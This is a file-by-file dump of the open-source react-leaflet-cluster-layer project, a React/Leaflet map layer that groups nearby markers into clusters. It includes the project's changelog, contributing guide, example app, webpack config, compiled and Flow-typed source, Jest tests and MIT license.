| <changelist id="92314412-33ec-4375-bbb0-60f94b7f6941" name="Default" comment="" /> | ||
| <created>1459358664110</created> | ||
| <option name="number" value="Default" /> | ||
| <option name="presentableId" value="Default" /> | ||
| <updated>1459358664110</updated> | ||
| <workItem from="1459358665259" duration="134000" /> | ||
| <workItem from="1459363607544" duration="70000" /> | ||
| </task> | ||
| <servers /> | ||
| </component> | ||
| <component name="TimeTrackingManager"> | ||
| <option name="totallyTimeSpent" value="204000" /> | ||
| </component> | ||
| <component name="ToolWindowManager"> | ||
| <frame x="18" y="43" width="1400" height="837" extended-state="0" /> | ||
| <editor active="false" /> | ||
| <layout> | ||
| <window_info id="Designer" active="false" anchor="left" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="2" side_tool="false" content_ui="tabs" /> | ||
| <window_info id="Project" active="true" anchor="left" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="true" show_stripe_button="true" weight="0.25" sideWeight="0.5" order="0" side_tool="false" content_ui="combo" /> | ||
| <window_info id="TODO" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="6" side_tool="false" content_ui="tabs" /> | ||
| <window_info id="Palette	" active="false" anchor="right" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="3" side_tool="false" content_ui="tabs" /> | ||
| <window_info id="Event Log" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="7" side_tool="true" content_ui="tabs" /> | ||
| <window_info id="Database" active="false" anchor="right" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="3" side_tool="false" content_ui="tabs" /> | ||
| <window_info id="Version Control" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="7" side_tool="false" content_ui="tabs" /> | ||
| <window_info id="Structure" active="false" anchor="left" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.25" sideWeight="0.5" order="1" side_tool="false" content_ui="tabs" /> | ||
| <window_info id="Terminal" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="7" side_tool="false" content_ui="tabs" /> | ||
| <window_info id="Favorites" active="false" anchor="left" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="2" side_tool="true" content_ui="tabs" /> | ||
| <window_info id="Cvs" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.25" sideWeight="0.5" order="4" side_tool="false" content_ui="tabs" /> | ||
| <window_info id="Message" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="0" side_tool="false" content_ui="tabs" /> | ||
| <window_info id="Commander" active="false" anchor="right" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.4" sideWeight="0.5" order="0" side_tool="false" content_ui="tabs" /> | ||
| <window_info id="Inspection" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.4" sideWeight="0.5" order="5" side_tool="false" content_ui="tabs" /> | ||
| <window_info id="Run" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="2" side_tool="false" content_ui="tabs" /> | ||
| <window_info id="Hierarchy" active="false" anchor="right" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.25" sideWeight="0.5" order="2" side_tool="false" content_ui="combo" /> | ||
| <window_info id="Find" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="1" side_tool="false" content_ui="tabs" /> | ||
| <window_info id="Ant Build" active="false" anchor="right" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.25" sideWeight="0.5" order="1" side_tool="false" content_ui="tabs" /> | ||
| <window_info id="Debug" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.4" sideWeight="0.5" order="3" side_tool="false" content_ui="tabs" /> | ||
| </layout> | ||
| </component> | ||
| <component name="Vcs.Log.UiProperties"> | ||
| <option name="RECENTLY_FILTERED_USER_GROUPS"> | ||
| <collection /> | ||
| </option> | ||
| <option name="RECENTLY_FILTERED_BRANCH_GROUPS"> | ||
| <collection /> | ||
| </option> | ||
| </component> | ||
| <component name="VcsContentAnnotationSettings"> | ||
| <option name="myLimit" value="2678400000" /> | ||
| </component> | ||
| <component name="XDebuggerManager"> | ||
| <breakpoint-manager /> | ||
| <watches-manager /> | ||
| </component> | ||
| <component name="editorHistoryManager"> | ||
| <entry file="file://$PROJECT_DIR$/src/ClusterLayer.js"> | ||
| <provider selected="true" editor-type-id="text-editor"> | ||
| <state relative-caret-position="308"> | ||
| <caret line="70" column="0" selection-start-line="70" selection-start-column="0" selection-end-line="70" selection-end-column="0" /> | ||
| </state> | ||
| </provider> | ||
| </entry> | ||
| </component> | ||
| </project> |
-17
| # 0.0.3 Release | ||
| - Correct issue introduced with removal of 'moveend' listener | ||
| # 0.0.2 Release | ||
| - Simplify event responders | ||
| - Fix a bug where clusters got wrong props | ||
| # 0.0.1 Release | ||
| - Initial implementation of package | ||
| - Updated readme, license filename, added changelog, added contribution guide | ||
| - Added description of technology and language to contribution guide | ||
| - Expanded instructions for running example in README.md | ||
| - Added unit tests | ||
| - Added developer certificate of origin to contributing guide |
-104
| # Contributing | ||
| Things you can do to contribute include: | ||
| 1. Report a bug by [opening an issue](https://github.com/OpenGov/react-leaflet-cluster-layer/issues/new) | ||
| 2. Suggest a change by [opening an issue](https://www.github.com/OpenGov/react-leaflet-cluster-layer/issues/new) | ||
| 3. Fork the repository and fix [an open issue](https://github.com/OpenGov/react-leaflet-cluster-layer/issues) | ||
| ### Technology | ||
| `react-leaflet-cluster-layer` is a custom layer for the `react-leaflet` package. This package is a convenient wrapper around Leaflet, a mapping library, for React. The source code is written with ES6/ES2015 syntax as well as [FlowType](http://flowtype.org) type annotations. | ||
| ### Install dependencies | ||
| 1. Install Node via [nodejs.org](http://nodejs.org) | ||
| 2. After cloning the repository, run `npm install` in the root of the project | ||
| This project is developed with Node version 4.3.0 and NPM 3.3.10. | ||
| ### Contributing via Github | ||
| The entire project can be found [on Github](https://github.com/OpenGov/react-leaflet-cluster-layer). We use the [fork and pull model](https://help.github.com/articles/using-pull-requests/) to process contributions. | ||
| #### Fork the Repository | ||
| Before contributing, you'll need to fork the repository: | ||
| 1. Fork the repository so you have your own copy (`your-username/react-leaflet-cluster-layer`) | ||
| 2. Clone the repo locally with `git clone https://github.com/your-username/react-leaflet-cluster-layer` | ||
| 3. Move into the cloned repo: `cd react-leaflet-cluster-layer` | ||
| 4. Install the project's dependencies: `npm install` | ||
| You should also add `OpenGov/react-leaflet-cluster-layer` as a remote at this point. We generally call this remote branch 'upstream': | ||
| ``` | ||
| git remote add upstream https://github.com/OpenGov/react-leaflet-cluster-layer | ||
| ``` | ||
| #### Development | ||
| You can work with a live, hot-reloading example of the component by running: | ||
| ```bash | ||
| npm run example | ||
| ``` | ||
| And then visiting [localhost:8000](http://localhost:8000). | ||
| As you make changes, please describe them in `CHANGELOG.md`. | ||
| #### Submitting a Pull Request | ||
| Before submitting a Pull Request please ensure you have completed the following tasks: | ||
| 1. Describe your changes in `CHANGELOG.md` | ||
| 2. Make sure your copy is up to date: `git pull upstream master` | ||
| 3. Ensure that all tests pass, tests for the component can be found in `lib/__tests__/ClusterLayer.test.js`, you can run these tests with `npm test` | ||
| 3. Run `npm run compile`, to compile your changes to the exported `/lib` code. | ||
| 4. Bump the version in `package.json` as appropriate, see `Versioning` in the section below. | ||
| 4. Commit your changes | ||
| 5. Push your changes to your fork: `your-username/react-leaflet-cluster-layer` | ||
| 6. Open a pull request from your fork to the `upstream` fork (`OpenGov/react-leaflet-cluster-layer`) | ||
| ## Versioning | ||
| This project follows Semantic Versioning.This means that version numbers are basically formatted like `MAJOR.MINOR.PATCH`. | ||
| #### Major | ||
| Breaking changes are signified with a new **first** number. For example, moving from 1.0.0 to 2.0.0 implies breaking changes. | ||
| #### Minor | ||
| New components, new helper classes, or substantial visual changes to existing components and patterns are *minor releases*. These are signified by the second number changing. So from 1.1.2 to 1.2.0 there are minor changes. | ||
| #### Patches | ||
| The final number signifies patches such as fixing a pattern or component in a certain browser, or fixing an existing bug. Small changes to the documentation site and the tooling around the Calcite-Web library are also considered patches. | ||
| ## Developer's Certificate of Origin 1.1 | ||
| By making a contribution to this project, I certify that: | ||
| * (a) The contribution was created in whole or in part by me and I | ||
| have the right to submit it under the open source license | ||
| indicated in the file; or | ||
| * (b) The contribution is based upon previous work that, to the best | ||
| of my knowledge, is covered under an appropriate open source | ||
| license and I have the right under that license to submit that | ||
| work with modifications, whether created in whole or in part | ||
| by me, under the same open source license (unless I am | ||
| permitted to submit under a different license), as indicated | ||
| in the file; or | ||
| * (c) The contribution was provided directly to me by some other | ||
| person who certified (a), (b) or (c) and I have not modified | ||
| it. | ||
| * (d) I understand and agree that this project and the contribution | ||
| are public and that a record of the contribution (including all | ||
| personal information I submit with it, including my sign-off) is | ||
| maintained indefinitely and may be redistributed consistent with | ||
| this project or the open source license(s) involved. |
| <!DOCTYPE html> | ||
| <html> | ||
| <head> | ||
| <meta charset="utf-8"> | ||
| <title>React-Leaflet examples</title> | ||
| <link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/normalize/3.0.2/normalize.min.css"> | ||
| <link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/leaflet/0.7.7/leaflet.css"> | ||
| <style> | ||
| h1, h2, p { | ||
| text-align: center; | ||
| } | ||
| .leaflet-container { | ||
| height: 500px; | ||
| width: 80%; | ||
| margin: 0 auto; | ||
| } | ||
| </style> | ||
| </head> | ||
| <body> | ||
| <div id="app"></div> | ||
| <script src="/build/app.js"></script> | ||
| </body> | ||
| </html> |
| import React from 'react'; | ||
| import { render } from 'react-dom'; | ||
| import { Map, Marker, Popup, TileLayer } from 'react-leaflet'; | ||
| import ClusterLayer from '../src/ClusterLayer'; | ||
| const position = { lng: -122.673447, lat: 45.522558 }; | ||
| const markers = [ | ||
| { | ||
| position: { lng: -122.673447, lat: 45.5225581 }, | ||
| text: 'Voodoo Doughnut', | ||
| }, | ||
| { | ||
| position: { lng: -122.6781446, lat: 45.5225512 }, | ||
| text: 'Bailey\'s Taproom', | ||
| }, | ||
| { | ||
| position: { lng: -122.67535700000002, lat: 45.5192743 }, | ||
| text: 'Barista' | ||
| }, | ||
| { | ||
| position: { lng: -122.65596570000001, lat: 45.5199148000001 }, | ||
| text: 'Base Camp Brewing' | ||
| } | ||
| ]; | ||
| class ExampleClusterComponent extends React.Component { | ||
| render() { | ||
| const style = { | ||
| border: 'solid 3px lightblue', | ||
| backgroundColor: '#333333', | ||
| color: 'white', | ||
| textAlign: 'center', | ||
| margin: '0', | ||
| padding: '0.25em 0.25em 0.5em', | ||
| fontSize: '1.25em', | ||
| fontWeight: '700' | ||
| }; | ||
| const cluster = this.props.cluster; | ||
| if (cluster.markers.length == 1) { | ||
| const markerStyle = Object.assign({}, style, { | ||
| minWidth: '110px', | ||
| borderRadius: '16px', | ||
| borderTopLeftRadius: '0', | ||
| }); | ||
| return ( | ||
| <div style={markerStyle} >{cluster.markers[0].text}</div> | ||
| ); | ||
| } | ||
| const clusterStyle = Object.assign({}, style, { | ||
| borderRadius: '50%', | ||
| borderTopLeftRadius: '0', | ||
| width: '24px', | ||
| height: '24px' | ||
| }); | ||
| return ( | ||
| <div style={clusterStyle}>{cluster.markers.length}</div> | ||
| ); | ||
| } | ||
| } | ||
| const map = ( | ||
| <Map center={position} zoom={13}> | ||
| <ClusterLayer | ||
| markers={markers} | ||
| clusterComponent={ExampleClusterComponent} /> | ||
| <TileLayer | ||
| url='http://{s}.tile.osm.org/{z}/{x}/{y}.png' | ||
| attribution='© <a href="http://osm.org/copyright">OpenStreetMap</a> contributors' | ||
| /> | ||
| </Map> | ||
| ); | ||
| render(map, document.getElementById('app')); |
| /* eslint-disable */ | ||
| var webpack = require('webpack'); | ||
| module.exports = { | ||
| debug: true, | ||
| devtool: 'source-map', | ||
| entry: { | ||
| app: __dirname + '/index.js' | ||
| }, | ||
| module: { | ||
| loaders: [ | ||
| { | ||
| test: /\.js$/, | ||
| exclude: /node_modules/, | ||
| loader: 'babel', | ||
| query: { | ||
| plugins: [ | ||
| ['react-transform', { | ||
| transforms: [{ | ||
| transform: 'react-transform-hmr', | ||
| imports: ['react'], | ||
| locals: ['module'] | ||
| }] | ||
| }] | ||
| ] | ||
| } | ||
| }, | ||
| ] | ||
| }, | ||
| output: { | ||
| path: __dirname + '/build/', | ||
| filename: '[name].js', | ||
| publicPath: 'http://localhost:8000/build' | ||
| }, | ||
| plugins: [ | ||
| new webpack.DefinePlugin({ | ||
| 'process.env': { | ||
| 'NODE_ENV': '"development"' | ||
| } | ||
| }), | ||
| new webpack.NoErrorsPlugin(), | ||
| new webpack.HotModuleReplacementPlugin() | ||
| ], | ||
| devServer: { | ||
| colors: true, | ||
| contentBase: __dirname, | ||
| historyApiFallback: true, | ||
| hot: true, | ||
| inline: true, | ||
| port: 8000, | ||
| progress: true, | ||
| stats: { | ||
| cached: false | ||
| } | ||
| } | ||
| }; |
| 'use strict'; | ||
| exports.__esModule = true; | ||
| var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; }; | ||
| var _react = require('react'); | ||
| var _react2 = _interopRequireDefault(_react); | ||
| var _reactDom = require('react-dom'); | ||
| var _reactDom2 = _interopRequireDefault(_reactDom); | ||
| var _leaflet = require('leaflet'); | ||
| var _leaflet2 = _interopRequireDefault(_leaflet); | ||
| var _reactLeaflet = require('react-leaflet'); | ||
| function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } | ||
| function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } | ||
| function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; } | ||
| function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; } | ||
| // Taken from http://stackoverflow.com/questions/1538681/how-to-call-fromlatlngtodivpixel-in-google-maps-api-v3/12026134#12026134 | ||
| // and modified to use Leaflet API | ||
| function getExtendedBounds(map, bounds, gridSize) { | ||
| // Turn the bounds into latlng. | ||
| var northEastLat = bounds && bounds.getNorthEast() && bounds.getNorthEast().lat; | ||
| var northEastLng = bounds && bounds.getNorthEast() && bounds.getNorthEast().lng; | ||
| var southWestLat = bounds && bounds.getSouthWest() && bounds.getSouthWest().lat; | ||
| var southWestLng = bounds && bounds.getSouthWest() && bounds.getSouthWest().lng; | ||
| var tr = _leaflet2.default.latLng(northEastLat, northEastLng); | ||
| var bl = _leaflet2.default.latLng(southWestLat, southWestLng); | ||
| // Convert the points to pixels and the extend out by the grid size. | ||
| var trPix = map.latLngToLayerPoint(tr); | ||
| trPix.x += gridSize; | ||
| trPix.y -= gridSize; | ||
| var blPix = map.latLngToLayerPoint(bl); | ||
| blPix.x -= gridSize; | ||
| blPix.y += gridSize; | ||
| // Convert the pixel points back to LatLng | ||
| var ne = map.layerPointToLatLng(trPix); | ||
| var sw = map.layerPointToLatLng(blPix); | ||
| // Extend the bounds to contain the new bounds. | ||
| bounds.extend(ne); | ||
| bounds.extend(sw); | ||
| return bounds; | ||
| } | ||
| function distanceBetweenPoints(p1, p2) { | ||
| if (!p1 || !p2) { | ||
| return 0; | ||
| } | ||
| var R = 6371; // Radius of the Earth in km | ||
| var degreesToRadians = function degreesToRadians(degree) { | ||
| return degree * Math.PI / 180; | ||
| }; | ||
| var sinDouble = function sinDouble(degree) { | ||
| return Math.pow(Math.sin(degree / 2), 2); | ||
| }; | ||
| var cosSquared = function cosSquared(point1, point2) { | ||
| return Math.cos(degreesToRadians(point1.lat)) * Math.cos(degreesToRadians(point2.lat)); | ||
| }; | ||
| var dLat = degreesToRadians(p2.lat - p1.lat); | ||
| var dLon = degreesToRadians(p2.lng - p1.lng); | ||
| var a = sinDouble(dLat) + cosSquared(p1, p2) * sinDouble(dLon); | ||
| var c = 2 * Math.atan2(Math.sqrt(a), Math.sqrt(1 - a)); | ||
| var d = R * c; | ||
| return d; | ||
| } | ||
| var ClusterLayer = function (_MapLayer) { | ||
| _inherits(ClusterLayer, _MapLayer); | ||
| function ClusterLayer() { | ||
| var _temp, _this, _ret; | ||
| _classCallCheck(this, ClusterLayer); | ||
| for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) { | ||
| args[_key] = arguments[_key]; | ||
| } | ||
| return _ret = (_temp = (_this = _possibleConstructorReturn(this, _MapLayer.call.apply(_MapLayer, [this].concat(args))), _this), _this.state = { | ||
| clusters: [] | ||
| }, _temp), _possibleConstructorReturn(_this, _ret); | ||
| } | ||
| ClusterLayer.prototype.componentDidMount = function componentDidMount() { | ||
| this.leafletElement = _reactDom2.default.findDOMNode(this.refs.container); | ||
| this.props.map.getPanes().overlayPane.appendChild(this.leafletElement); | ||
| this.setClustersWith(this.props.markers); | ||
| this.attachEvents(); | ||
| }; | ||
| ClusterLayer.prototype.componentWillReceiveProps = function componentWillReceiveProps(nextProps) { | ||
| if (!this.props || nextProps.markers !== this.props.markers) { | ||
| this.setClustersWith(nextProps.markers); | ||
| } | ||
| }; | ||
| ClusterLayer.prototype.componentWillUnmount = function componentWillUnmount() { | ||
| this.props.map.getPanes().overlayPane.removeChild(this.leafletElement); | ||
| }; | ||
| ClusterLayer.prototype.componentDidUpdate = function componentDidUpdate() { | ||
| this.props.map.invalidateSize(); | ||
| this.updatePosition(); | ||
| }; | ||
| ClusterLayer.prototype.shouldComponentUpdate = function shouldComponentUpdate() { | ||
| return true; | ||
| }; | ||
| ClusterLayer.prototype.setClustersWith = function setClustersWith(markers) { | ||
| this.setState({ | ||
| clusters: this.createClustersFor(markers) | ||
| }); | ||
| }; | ||
| ClusterLayer.prototype.recalculate = function recalculate() { | ||
| this.setClustersWith(this.props.markers); | ||
| this.updatePosition(); | ||
| }; | ||
| ClusterLayer.prototype.attachEvents = function attachEvents() { | ||
| var _this2 = this; | ||
| var map = this.props.map; | ||
| map.on('viewreset', function () { | ||
| return _this2.recalculate(); | ||
| }); | ||
| map.on('moveend', function () { | ||
| return _this2.recalculate(); | ||
| }); | ||
| }; | ||
| ClusterLayer.prototype.updatePosition = function updatePosition() { | ||
| var _this3 = this; | ||
| this.state.clusters.forEach(function (cluster, i) { | ||
| var clusterElement = _reactDom2.default.findDOMNode(_this3.refs[_this3.getClusterRefName(i)]); | ||
| _leaflet2.default.DomUtil.setPosition(clusterElement, _this3.props.map.latLngToLayerPoint(cluster.center)); | ||
| }); | ||
| }; | ||
| ClusterLayer.prototype.render = function render() { | ||
| return _react2.default.createElement( | ||
| 'div', | ||
| { ref: 'container', | ||
| className: 'leaflet-objects-pane leaflet-marker-pane leaflet-zoom-hide react-leaflet-cluster-layer' | ||
| }, | ||
| this.renderClusters() | ||
| ); | ||
| }; | ||
| ClusterLayer.prototype.renderClusters = function renderClusters() { | ||
| var _this4 = this; | ||
| var style = { position: 'absolute' }; | ||
| var ClusterComponent = this.props.clusterComponent; | ||
| return this.state.clusters.map(function (cluster, index) { | ||
| return _react2.default.createElement(ClusterComponent, _extends({}, _this4.props.propsForClusters, { | ||
| key: index, | ||
| style: style, | ||
| map: _this4.props.map, | ||
| ref: _this4.getClusterRefName(index), | ||
| cluster: cluster | ||
| })); | ||
| }); | ||
| }; | ||
| ClusterLayer.prototype.getGridSize = function getGridSize() { | ||
| return this.props.gridSize || 60; | ||
| }; | ||
| ClusterLayer.prototype.getMinClusterSize = function getMinClusterSize() { | ||
| return this.props.minClusterSize || 2; | ||
| }; | ||
| ClusterLayer.prototype.isMarkerInBounds = function isMarkerInBounds(marker, bounds) { | ||
| return bounds.contains(marker.position); | ||
| }; | ||
| ClusterLayer.prototype.calculateClusterBounds = function calculateClusterBounds(cluster) { | ||
| var bounds = _leaflet2.default.latLngBounds(cluster.center, cluster.center); | ||
| cluster.bounds = getExtendedBounds(this.props.map, bounds, this.getGridSize()); | ||
| }; | ||
| ClusterLayer.prototype.isMarkerInClusterBounds = function isMarkerInClusterBounds(cluster, marker) { | ||
| return cluster.bounds.contains(_leaflet2.default.latLng(marker.position)); | ||
| }; | ||
| ClusterLayer.prototype.addMarkerToCluster = function addMarkerToCluster(cluster, marker) { | ||
| var center = cluster.center; | ||
| var markersLen = cluster.markers.length; | ||
| if (!center) { | ||
| cluster.center = _leaflet2.default.latLng(marker.position); | ||
| this.calculateClusterBounds(cluster); | ||
| } else { | ||
| var len = markersLen + 1; | ||
| var _lng = (center.lng * (len - 1) + marker.position.lng) / len; | ||
| var _lat = (center.lat * (len - 1) + marker.position.lat) / len; | ||
| cluster.center = _leaflet2.default.latLng({ lng: _lng, lat: _lat }); | ||
| this.calculateClusterBounds(cluster); | ||
| } | ||
| marker.isAdded = true; | ||
| cluster.markers.push(marker); | ||
| }; | ||
| ClusterLayer.prototype.createClustersFor = function createClustersFor(markers) { | ||
| var _this5 = this; | ||
| var map = this.props.map; | ||
| var extendedBounds = getExtendedBounds(map, map.getBounds(), this.getGridSize()); | ||
| return markers.filter(function (marker) { | ||
| return extendedBounds.contains(_leaflet2.default.latLng(marker.position)); | ||
| }).reduce(function (clusters, marker) { | ||
| var distance = 40000; // Some large number | ||
| var clusterToAddTo = null; | ||
| var pos = marker.position; | ||
| clusters.forEach(function (cluster) { | ||
| var center = cluster.center; | ||
| if (center) { | ||
| var d = distanceBetweenPoints(center, pos); | ||
| if (d < distance) { | ||
| distance = d; | ||
| clusterToAddTo = cluster; | ||
| } | ||
| } | ||
| }); | ||
| if (clusterToAddTo && _this5.isMarkerInClusterBounds(clusterToAddTo, marker)) { | ||
| _this5.addMarkerToCluster(clusterToAddTo, marker); | ||
| } else { | ||
| var cluster = { | ||
| markers: [marker], | ||
| center: _leaflet2.default.latLng(pos), | ||
| bounds: _leaflet2.default.latLngBounds() | ||
| }; | ||
| _this5.calculateClusterBounds(cluster); | ||
| clusters.push(cluster); | ||
| } | ||
| return clusters; | ||
| }, []); | ||
| }; | ||
| ClusterLayer.prototype.getClusterRefName = function getClusterRefName(index) { | ||
| return 'cluster' + index; | ||
| }; | ||
| return ClusterLayer; | ||
| }(_reactLeaflet.MapLayer); | ||
| ClusterLayer.propTypes = { | ||
| markers: _react2.default.PropTypes.array, | ||
| clusterComponent: _react2.default.PropTypes.func.isRequired, | ||
| propsForClusters: _react2.default.PropTypes.object, | ||
| gridSize: _react2.default.PropTypes.number, | ||
| minClusterSize: _react2.default.PropTypes.number | ||
| }; | ||
| exports.default = ClusterLayer; |
| The MIT License (MIT) | ||
| Copyright (c) 2016 OpenGov, Inc. | ||
| Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: | ||
| The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. | ||
| THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. |
| import React from 'react'; | ||
| import { shallow, mount, render } from 'enzyme'; | ||
| import { Map } from 'react-leaflet'; | ||
| import ClusterLayer from '../ClusterLayer.js'; | ||
| jest.unmock('../ClusterLayer.js'); | ||
| const L = jest.genMockFromModule('leaflet'); | ||
| class ClusterComponent extends React.Component { | ||
| render() { | ||
| return ( | ||
| <div className="cluster-component">Cluster component</div> | ||
| ); | ||
| } | ||
| } | ||
| describe('ClusterLayer', () => { | ||
| /* | ||
| Here we declare mocks or fixtures of | ||
| all the data structures that the component uses | ||
| */ | ||
| const center = { lng: -122.673447, lat: 45.522558 }; | ||
| const mockBounds = { | ||
| contains: jest.fn(() => true), | ||
| extend: jest.fn(), | ||
| getNorthEast: jest.fn(() => ({ lng: -122, lat: 46 })), | ||
| getSouthWest: jest.fn(() => ({ lng: -123, lat: 45 })), | ||
| }; | ||
| const mockPanes = { overlayPane: { appendChild: jest.fn() } }; | ||
| const mockMap = { | ||
| layerPointToLatLng: jest.fn(() => ({ lng: -122.6, lat: 45.522 })), | ||
| latLngToLayerPoint: jest.fn(() => ({ x: 100, y: 100 })), | ||
| on: jest.fn(), | ||
| getBounds: jest.fn(() => mockBounds), | ||
| getPanes: jest.fn(() => mockPanes), | ||
| invalidateSize: jest.fn() | ||
| }; | ||
| const mockMarkers = [ | ||
| { | ||
| position: { lng: -122.673447, lat: 45.5225581 }, | ||
| text: 'Voodoo Doughnut', | ||
| }, | ||
| { | ||
| position: { lng: -122.6781446, lat: 45.5225512 }, | ||
| text: 'Bailey\'s Taproom', | ||
| }, | ||
| { | ||
| position: { lng: -122.67535700000002, lat: 45.5192743 }, | ||
| text: 'Barista' | ||
| } | ||
| ]; | ||
| it('should render', () => { | ||
| const layer = render( | ||
| <ClusterLayer | ||
| markers={[]} | ||
| clusterComponent={ClusterComponent} /> | ||
| ); | ||
| expect(layer).toBeTruthy(); | ||
| }); | ||
| it('should render a single child <ClusterComponent /> given one marker', () => { | ||
| const layer = mount( | ||
| <ClusterLayer | ||
| map={mockMap} | ||
| markers={[mockMarkers[0]]} | ||
| clusterComponent={ClusterComponent} /> | ||
| ); | ||
| expect(layer.find('.cluster-component').length).toEqual(1); | ||
| }); | ||
| it('should render one child <ClusterComponent /> given three markers with the same position', () => { | ||
| const layer = mount( | ||
| <ClusterLayer | ||
| map={mockMap} | ||
| markers={[mockMarkers[0], mockMarkers[0], mockMarkers[0]]} | ||
| clusterComponent={ClusterComponent} /> | ||
| ); | ||
| expect(layer.find('.cluster-component').length).toEqual(1); | ||
| }); | ||
| it('should render three child <ClusterComponent /> given three markers with the different positions', () => { | ||
| const layer = mount( | ||
| <ClusterLayer | ||
| map={mockMap} | ||
| markers={mockMarkers} | ||
| clusterComponent={ClusterComponent} /> | ||
| ); | ||
| expect(layer.find('.cluster-component').length).toEqual(3); | ||
| }); | ||
| it('should pass the `propsForClusters` prop to rendered <ClusterComponent />', () => { | ||
| const mockProps = { | ||
| theAnswer: 42, | ||
| numCoffees: 3 | ||
| }; | ||
| const layer = mount( | ||
| <ClusterLayer | ||
| map={mockMap} | ||
| markers={mockMarkers} | ||
| propsForClusters={mockProps} | ||
| clusterComponent={ClusterComponent} /> | ||
| ); | ||
| const componentProps = layer.find(ClusterComponent).at(0).props(); | ||
| expect(componentProps).toBeTruthy(); | ||
| expect(componentProps.theAnswer).toEqual(mockProps.theAnswer); | ||
| expect(componentProps.numCoffees).toEqual(mockProps.numCoffees); | ||
| }); | ||
| }); |
| import React from 'react'; | ||
| import ReactDOM from 'react-dom'; | ||
| import L from 'leaflet'; | ||
| import { MapLayer } from 'react-leaflet'; | ||
| export type LngLat = { | ||
| lng: number; | ||
| lat: number; | ||
| } | ||
| export type Marker = { | ||
| position: LngLat; | ||
| isAdded: boolean; | ||
| } | ||
| export type Point = { | ||
| x: number; | ||
| y: number; | ||
| } | ||
| export type Bounds = { | ||
| contains: (latLng: LngLat) => boolean; | ||
| extend: (latLng: LngLat) => void; | ||
| getNorthEast: () => LngLat; | ||
| getSouthWest: () => LngLat; | ||
| } | ||
| export type Map = { | ||
| layerPointToLatLng: (lngLat: Point) => LngLat; | ||
| latLngToLayerPoint: (lngLat: LngLat) => Point; | ||
| on: (event: string, handler: () => void) => void; | ||
| getBounds: () => Bounds; | ||
| getPanes: () => Panes; | ||
| invalidateSize: () => void; | ||
| } | ||
| export type Panes = { | ||
| overlayPane: Pane; | ||
| } | ||
| export type Pane = { | ||
| appendChild: (element: Object) => void; | ||
| } | ||
| export type Cluster = { | ||
| center: LngLat; | ||
| markers: Array<Marker>; | ||
| bounds: Bounds; | ||
| } | ||
| // Taken from http://stackoverflow.com/questions/1538681/how-to-call-fromlatlngtodivpixel-in-google-maps-api-v3/12026134#12026134 | ||
| // and modified to use Leaflet API | ||
